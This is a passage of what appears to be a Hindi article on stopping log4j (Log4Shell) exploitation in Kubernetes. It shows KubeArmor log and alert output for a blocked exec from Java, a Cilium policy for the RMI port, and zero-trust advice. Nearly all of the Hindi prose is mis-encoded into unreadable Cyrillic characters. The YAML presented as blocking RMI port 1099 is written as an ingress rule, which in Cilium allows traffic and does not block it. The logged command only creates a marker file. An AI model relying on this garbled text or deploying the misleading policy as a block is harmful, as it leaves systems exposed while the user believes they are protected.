рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, `myapp` рдФрд░ `log4j` рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрднреА рднреА Java рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрдкреЙрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рд▓реЗрдХрд┐рди рд╢реЗрд╖ рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

#### рдкреЙрдбреНрд╕ рдореЗрдВ KubeArmor рджреГрд╢реНрдпрддрд╛/рдЕрд╡рд▓реЛрдХрди

рдЙрдкрд░реЛрдХреНрдд рдиреАрддрд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдХрд░, рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдХреЛрдИ рд╕реЛрдЪреЗрдЧрд╛ рдХрд┐ рдореБрдЭреЗ рдЕрдиреБрдорддрд┐/рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реНрдкреЗрдХ рдХреИрд╕реЗ рдорд┐рд▓реЗрдЧрд╛ред рдпрд╣реАрдВ KubeArmor рдХрд╛ рджреГрд╢реНрдпрддрд╛ рдореЛрдб рдХрд╛рдо рдЖрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    == Log / 2021-12-12 19:48:37.737160 ==
    Cluster Name: Default
    Host Name: pandora
    Namespace Name: default
    Pod Name: log4j-kubearmor
    Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
    Container Name: log4j-kubearmor
    Type: ContainerLog
    Source: jspawnhelper
    Operation: Process
    Resource: /bin/touch /tmp/log4jServerp0wn3d
    Data: syscall=SYS_EXECVE
    Result: Passed
    

JVM/Java рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рд╕реНрдкреЙрди рдХреА рдЧрдИ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрд▓рд░реНрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ execve рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ KubeArmor рдПрдХ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рд╣реИ):

root@kitploit:~
    
    
    == Alert / 2021-12-12 19:57:07.871126 ==
    Cluster Name: Default
    Host Name: pandora
    Namespace Name: default
    Pod Name: log4j-kubearmor
    Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
    Container Name: log4j-kubearmor
    Policy Name: do-not-allow-exec-from-java
    Severity: 5
    Message: disallowed execing from java process
    Type: MatchedPolicy
    Source: jspawnhelper
    Operation: Process
    Resource: /bin/touch /tmp/log4jServerp0wn3d
    Data: syscall=SYS_EXECVE
    Action: Block
    Result: Passed
    

### Cilium рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐

Cilium рдЯреАрдо рдкрд╣рд▓реЗ рд╣реА k8s env рдореЗрдВ log4j рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдирд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкреНрд░рд╕реНрддреБрдд рдХрд░ рдЪреБрдХреА рд╣реИред рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ, рд░реЛрдХрдерд╛рдо рдиреАрддрд┐рдпреЛрдВ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ DNS рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдХрдо рдЕрдиреБрдорддрд┐ рд╡рд╛рд▓реА рдиреАрддрд┐рдпрд╛рдБ рд▓рд╛рдЧреВ рдХреА рдЬрд╛рдПрдБ рддрд╛рдХрд┐ рдЙрд╕ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рдХреБрдЫ рднреА рдирд┐рд╖рд┐рджреНрдз рд╣реЛред

рдЗрд╕ рд╕рдВрджрд░реНрдн рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рдХреЗ рд▓рд┐рдП рдПрдХ рдЪреБрдиреМрддреА рдкреЙрдб рджреНрд╡рд╛рд░рд╛ рдХрдиреЗрдХреНрдЯреЗрдб рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд FQDN рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред Cilium рд╕рдореГрджреНрдз рдиреЗрдЯрд╡рд░реНрдХ рджреГрд╢реНрдпрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдкреЙрдб рджреНрд╡рд╛рд░рд╛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдП рдЧрдП FQDN рдХреЗ рд╡рд┐рд╕реНрддреГрдд рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдЖ рд╕рдХрддрд╛ рд╣реИред

рдЙрди рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рдЕрдиреНрдп рдирд┐рд╡рд╛рд░рдХ рдиреАрддрд┐рдпрд╛рдБ рднреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдкрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

#### RMI рдкреЛрд░реНрдЯ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рдирд╛

RMI рдПрдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рдВрдЧрдардиреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрдо рд╕реЗ рдХрдо рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред log4j рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, RMI рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╕рдВрдЧрдарди рдкрд░рд╡рд╛рд╣ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдкрдХрд╛ рд╕рдВрдЧрдарди рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЙрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд Cilium рдиреАрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

root@kitploit:~
    
    
    apiVersion: "cilium.io/v2"
    kind: CiliumNetworkPolicy
    metadata:
      name: "L4_rule_to_block_RMI_access"
    spec:
      endpointSelector:
        matchLabels:
          app: log4j2
      ingress:
      - fromEndpoints:
        toPorts:
        - ports:
          - port: "1099"
            protocol: TCP
    

... рдЬрд╣рд╛рдБ 1099 рдбрд┐рдлрд╝реЙрд▓реНрдЯ RMI рдкреЛрд░реНрдЯ рд╣реИред

## рднрд╡рд┐рд╖реНрдп рдХреЗ рдЬреАрд░реЛ-рдбреЗ рдХреЛ рд░реЛрдХрдирд╛

> рдКрдкрд░ рджрд░реНрд╢рд╛рдП рдЧрдП рдкреНрд░рдХрд╛рд░ рдХреЗ рдирд┐рдпрдо рдкреВрд░реНрд╡рджреГрд╖реНрдЯрд┐ рдореЗрдВ рдЖрд╕рд╛рдиреА рд╕реЗ рдХрд▓реНрдкрдирд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕реНрдкрд╖реНрдЯ рдЕрдЧрд▓рд╛ рдкреНрд░рд╢реНрди рдпрд╣ рд╣реИ рдХрд┐ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдРрд╕реА рднреЗрджреНрдпрддрд╛рдУрдВ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рдПред

рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдПрдХ рдкреНрд░рдореБрдЦ рд╣рдорд▓рд╛ рдореЛрдб рд╣реИ рдФрд░ рдХрд┐рд╕реА рдХреЛ рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреЛрдб рдХреЛ "рдордирдорд╛рдирд╛" рдХреНрдпрд╛ рдмрдирд╛рддрд╛ рд╣реИред рд╕рдВрджрд░реНрдн рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд╣реАрдВ рд╣реИред

рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ (ZTNA) рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреЛ рдПрдХ рдиреНрдпреВрдирддрдо-рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рд╢реНрд╡реЗрддрд╕реВрдЪреАрдмрджреНрдз рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рдмрд╛рдХреА рд╕рдм рдХреБрдЫ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд╣реЛрдиреЗ рд╕реЗ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рд╕реЗ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдмрдЪрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдзрд┐рдХ рдЪреБрдиреМрддреАрдкреВрд░реНрдг рд╣реИред рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдПрдХ рд╕рдВрдЧрдарди рдХреЗ рдкрд╛рд╕ рдЙрдкрдпреБрдХреНрдд рд╕реНрд╡рдЪрд╛рд▓рди, рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рддреИрдирд╛рддреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕рд╣реА рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рд╣реЛрдВред рдХреБрдЫ рдмрд┐рдВрджреБ рдЬрд┐рди рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  * рд▓рдЪреАрд▓рд╛ рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рд╣реЛрдирд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред рдЙрди рдиреАрддрд┐ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рд╕рд╛рде рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдиреНрдпреВрдирддрдо рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ?
  * рдпрджрд┐ рдХреЛрдИ рдбреЗрд╡рд▓рдкрд░ рдРрдк рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдирдП рдирд┐рдпрдореЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рдРрдк рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХреЗ рдХрд╛рд░рдг рдмрджрд▓ рдЧрдП рд╣реЛрдВ?
  * рдХреНрдпрд╛ рд╕рдВрдЧрдарди рдХреЗ рдкрд╛рд╕ рдПрдХ рд▓рдЪреАрд▓рд╛ EDR/XDR рд╣реИ рдЬреЛ DevSecOps рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдореЛрдВ рдХреЛ рд╕рд╣реА рдШрдЯрдирд╛рдУрдВ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ?



### рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рд▓реЙрдЧ4рдЬреЗ рднреЗрджреНрдпрддрд╛ рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХреЛ рдХреИрд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИ?

рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди/рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдЬрд╝реАрд░реЛ-рдЯреНрд░рд╕реНрдЯ рдЖрд╕рди рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  1. рдХреЗрд╡рд▓ рдЙрди рдЗрдирдЧреНрд░реЗрд╕/рдПрдЧреНрд░реЗрд╕ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдмрдирд╛рдирд╛/рд╕рдВрднрд╛рд▓рдирд╛ рд╣реИред
  2. рдХреЗрд╡рд▓ рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд┐рд╖реНрдкрд╛рджрдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬреЛ рдЕрдиреБрдордд рд╕реВрдЪреА рдореЗрдВ рд╣реИрдВред
  3. рдХреЗрд╡рд▓ рдЙрди рдлрд╝рд╛рдЗрд▓-рд╕рд┐рд╕реНрдЯрдо рдкрде рдПрдХреНрд╕реЗрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬрд┐рдирдХреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
  4. рдХреЗрд╡рд▓ рдЙрди рд╕рд┐рд╕реНрдЯрдо рдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕рд╛рдорд╛рдиреНрдп рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред
  5. рдпрд╣ рдЖрд╕рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдХрд╣рдиреЗ рдореЗрдВ рдЖрд╕рд╛рди рд╣реИ, рдХрд░рдиреЗ рдореЗрдВ рдХрдард┐рдиред



### KubeArmor рдФрд░ рдЬрд╝реАрд░реЛ рдЯреНрд░рд╕реНрдЯ

KubeArmor рдПрдХ рд▓рдЪреАрд▓рд╛ рдиреАрддрд┐ рдкреНрд░рд╡рд░реНрддрди рдЗрдВрдЬрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕рд╣реА рдиреАрддрд┐ рдЦреЛрдЬ/рд╕рд┐рдлрд╛рд░рд┐рд╢ рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ рдЬреЛ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдЙрдкрд░реЛрдХреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдореЗрдВ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рдорджрдж рдХрд░рддрд╛ рд╣реИред Accuknox рдиреЗ рдиреАрддрд┐ рдЗрдВрдЬрдиреЛрдВ рдХреЛ рдореВрд▓ рдбрд┐рдЬрд╝рд╛рдЗрди рд╕рд┐рджреНрдзрд╛рдВрддреЛрдВ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП рдмрдирд╛рдпрд╛ рд╣реИ рдЕрд░реНрдерд╛рддреН, рдкреНрд░рддреНрдпреЗрдХ рдиреАрддрд┐ рдЗрдВрдЬрди рдХреЛ рдЕрд╡рд▓реЛрдХрди, рдСрдбрд┐рдЯрд┐рдВрдЧ (рдбреНрд░рд╛рдИ-рд░рди) рдФрд░ рдкреНрд░рд╡рд░реНрддрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

> рдЕрд╡рд▓реЛрдХрди рдиреАрддрд┐ рдЦреЛрдЬ рдЗрдВрдЬрди рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдПрдХ рд╕рдВрдЧрдарди рдХреЛ рдЖрд╡рд╢реНрдпрдХ рдиреНрдпреВрдирддрдо-рдЕрдиреБрдорддрд┐ рдиреАрддрд┐ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред

![рдиреАрддрд┐ рдЦреЛрдЬ](https://assets.kitploit.com/production/public/readmes/28215/f68e8fe8f8e29483c1574ab43a101d2bfd972f3dbdab8b36285c3eea7817c320.png)

рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ k8s рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рдЕрдкрдиреЗ рд╡рд░реНрдХрд▓реЛрдб рдХреЗ рд╕рд╛рде рдиреАрддрд┐-рдЦреЛрдЬ рдЗрдВрдЬрди рдЖрдЬрд╝рдорд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдХреГрдкрдпрд╛ рдкреНрд▓реЗрдмреБрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред